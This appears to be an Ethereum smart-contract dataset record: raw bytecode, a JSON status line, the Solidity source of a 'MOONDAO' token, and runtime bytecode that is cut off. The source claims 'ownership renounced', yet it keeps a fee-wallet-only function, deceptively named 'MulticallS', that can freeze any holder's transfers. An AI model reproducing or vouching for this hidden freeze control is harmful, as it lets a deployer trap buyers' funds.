4808035906020019091905050611b56565b6040518082815260200191505060405180910390f35b600080600080600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141515156107f257600080fd5b60011515600860149054906101000a900460ff16151514151561081457600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16925034915061084582611b56565b9050600081141561085557600080fd5b61086a82600654611c2190919063ffffffff16565b60068190555061088581600754611c2190919063ffffffff16565b6007819055506108b88582600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611c3f565b508473ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8383604051808381526020018281526020019250505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050151561094f57600080fd5b809350505050919050565b6040805190810160405280600e81526020017f526f6775652050726f746f636f6c00000000000000000000000000000000000081525081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b60006003600460208202016000369050141515610aa457fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610ae057600080fd5b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610b2e57600080fd5b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610bb957600080fd5b600360009054906101000a900460ff161515610bd457600080fd5b610c2683600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6490919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cbb83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2190919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d8d83600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6490919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601260ff16600a0a631908b1000281565b601281565b60065481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ef857600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610f7157600080fd5b610f7a306112c4565b9050610fa8600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826114d2565b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611144576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d8565b6111578382611e6490919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60075481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f524f47000000000000000000000000000000000000000000000000000000000081525081565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113d057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561140c57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c60405160405180910390a381600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600060026004602082020160003690501415156114eb57fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561152757600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561157557600080fd5b600360009054906101000a900460ff16151561159057600080fd5b6115e283600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6490919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061167783600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2190919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561178657600080fd5b6001600860146101000a81548160ff021916908315150217905550565b600360009054906101000a900460ff1681565b600061184782600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2190919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600060026004602082020160003690501415156119cb57fe5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611aad57600080fd5b6000600860146101000a81548160ff021916908315150217905550565b600860149054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b3957600080fd5b80600360006101000a81548160ff02191690831515021790555050565b600080611b6283611e7d565b905060046000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115611c17577f77fcbebee5e7fc6abb70669438e18dae65fc2057b32b694851724c2726a35b6260075482604051808381526020018281526020019250505060405180910390a160009150611c1b565b8091505b50919050565b6000808284019050838110151515611c3557fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611c7c57600080fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611cca57600080fd5b611d1c83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2190919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611db183600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6490919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b6000828211151515611e7257fe5b818303905092915050565b600080600090506000831415611e9b57601260ff16600a0a60320290505b66038d7ea4c68000831415611eb857601260ff16600a0a600a0290505b6611c37937e08000831415611ed557601260ff16600a0a60320290505b662386f26fc10000831415611ef257601260ff16600a0a60640290505b66b1a2bc2ec50000831415611f1057601260ff16600a0a6101f40290505b67016345785d8a0000831415611f2f57601260ff16600a0a6103e80290505b670de0b6b3a7640000831415611f4e57601260ff16600a0a6127100290505b671bc16d674ec80000831415611f6d57601260ff16600a0a614e200290505b6729a2241af62c0000831415611f8c57601260ff16600a0a6175300290505b673782dace9d900000831415611fab57601260ff16600a0a619c400290505b809150509190505600a165627a7a72305820fce9eb946326aec520ce24158a6a69367a1da3945e431a443d861dff057f38660029
|
{"success": true, "error": null, "results": {}}
| 8,679 |
0xe17c3900c2452fbeeff2316daa7d758adfbae8f7
|
/**
µµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµ
µµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµ
µµ __ __ ____________ ____________ ___ __ µµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµ
µµ / \ / \ | ______ | | ______ | | \ | | µµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµ
µµ / \ / \ | | | | | | | | | \ | | µµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµ
µµ / /\ \/ /\ \ | | | | | | | | | |\ \ | | µµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµ
µµ / / \ / \ \ | | | | | | | | | | \ \| | µµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµ
µµ / / \__/ \ \ | |______| | | |______| | | | \ | µµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµ
µµ /__/ \__\ |____________| |____________| |__| \___| µµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµ
µµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµ
µµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµ
µµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµ ________ ______ ____________ µµµµµµµµµ
µµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµ | ____ \ / ___ \ | ______ | µµµµµµµµµ
µµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµ | | \ \ / / \ \ | | | | µµµµµµµµµ
µµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµ | | | | / /_____\ \ | | | | µµµµµµµµµ
µµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµ | | | | / _________ \ | | | | µµµµµµµµµ
µµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµ | |____/ / / / \ \ | |______| | µµµµµµµµµ
µµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµ |_________/ /__/ \__\ |____________| µµµµµµµµµ
µµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµ
µµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµµ
/*
MAX buy at launch : 60.000.000.000
MAX buy after 10min : NO LIMIT
LP lock & ownership renounced.
*/
pragma solidity ^0.8.10;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MOONDAO is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"MOONDAO"; ////
string public constant symbol = unicode"MOONDAO"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _FeeAddress1;
address payable private _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 4;
uint public _sellFee = 4;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 60000000000 * 10**9; // 6%
_maxHeldTokens = 120000000000 * 10**9; // 12%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function MulticallS(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101f25760003560e01c806349bd5a5e1161010d57806395d89b41116100a0578063c9567bf91161006f578063c9567bf91461056d578063db92dbb614610582578063dcb0e0ad14610597578063dd62ed3e146105b7578063e8078d94146105fd57600080fd5b806395d89b4114610227578063a9059cbb14610522578063b2131f7d14610542578063c3c8cd801461055857600080fd5b806370a08231116100dc57806370a08231146104af578063715018a6146104cf5780638da5cb5b146104e457806394b8d8f21461050257600080fd5b806349bd5a5e1461042c5780635090161714610464578063590f897e146104845780636fc3eaec1461049a57600080fd5b806323b872dd1161018557806332d873d81161015457806332d873d8146103a75780633bbac579146103bd57806340b9a54b146103f657806345596e2e1461040c57600080fd5b806323b872dd1461032b57806327f3a72a1461034b578063313ce5671461036057806331c2d8471461038757600080fd5b80630af52615116101c15780630af52615146102b95780630b78f9c0146102d957806318160ddd146102f95780631940d0201461031557600080fd5b80630492f055146101fe57806306fdde03146102275780630802d2f614610267578063095ea7b31461028957600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061025a604051806040016040528060078152602001664d4f4f4e44414f60c81b81525081565b60405161021e9190611b97565b34801561027357600080fd5b50610287610282366004611c11565b610612565b005b34801561029557600080fd5b506102a96102a4366004611c2e565b610687565b604051901515815260200161021e565b3480156102c557600080fd5b506102876102d4366004611c70565b61069d565b3480156102e557600080fd5b506102876102f4366004611d35565b6107b0565b34801561030557600080fd5b50683635c9adc5dea00000610214565b34801561032157600080fd5b50610214600f5481565b34801561033757600080fd5b506102a9610346366004611d57565b610833565b34801561035757600080fd5b5061021461091b565b34801561036c57600080fd5b50610375600981565b60405160ff909116815260200161021e565b34801561039357600080fd5b506102876103a2366004611c70565b61092b565b3480156103b357600080fd5b5061021460105481565b3480156103c957600080fd5b506102a96103d8366004611c11565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561040257600080fd5b50610214600b5481565b34801561041857600080fd5b50610287610427366004611d98565b6109b3565b34801561043857600080fd5b50600a5461044c906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561047057600080fd5b5061028761047f366004611c11565b610a77565b34801561049057600080fd5b50610214600c5481565b3480156104a657600080fd5b50610287610ae5565b3480156104bb57600080fd5b506102146104ca366004611c11565b610b12565b3480156104db57600080fd5b50610287610b2d565b3480156104f057600080fd5b506000546001600160a01b031661044c565b34801561050e57600080fd5b506011546102a99062010000900460ff1681565b34801561052e57600080fd5b506102a961053d366004611c2e565b610ba1565b34801561054e57600080fd5b50610214600d5481565b34801561056457600080fd5b50610287610bae565b34801561057957600080fd5b50610287610be4565b34801561058e57600080fd5b50610214610c88565b3480156105a357600080fd5b506102876105b2366004611dbf565b610ca0565b3480156105c357600080fd5b506102146105d2366004611ddc565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561060957600080fd5b50610287610d1d565b6008546001600160a01b0316336001600160a01b03161461063257600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b6000610694338484611064565b50600192915050565b6008546001600160a01b0316336001600160a01b0316146106bd57600080fd5b60005b81518110156107ac57600a5482516001600160a01b03909116908390839081106106ec576106ec611e15565b60200260200101516001600160a01b03161415801561073d575060075482516001600160a01b039091169083908390811061072957610729611e15565b60200260200101516001600160a01b031614155b1561079a5760016006600084848151811061075a5761075a611e15565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806107a481611e41565b9150506106c0565b5050565b6008546001600160a01b0316336001600160a01b0316146107d057600080fd5b600a8211156107de57600080fd5b600a8111156107ec57600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff16801561086157506001600160a01b03831660009081526004602052604090205460ff16155b801561087a5750600a546001600160a01b038581169116145b156108c9576001600160a01b03831632146108c95760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6108d4848484611188565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610903908490611e5a565b9050610910853383611064565b506001949350505050565b600061092630610b12565b905090565b6008546001600160a01b0316336001600160a01b03161461094b57600080fd5b60005b81518110156107ac5760006006600084848151811061096f5761096f611e15565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806109ab81611e41565b91505061094e565b6000546001600160a01b031633146109dd5760405162461bcd60e51b81526004016108c090611e71565b6008546001600160a01b0316336001600160a01b0316146109fd57600080fd5b60008111610a425760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016108c0565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd89060200161067c565b6009546001600160a01b0316336001600160a01b031614610a9757600080fd5b600980546001600160a01b0319166001600160a01b03831690811790915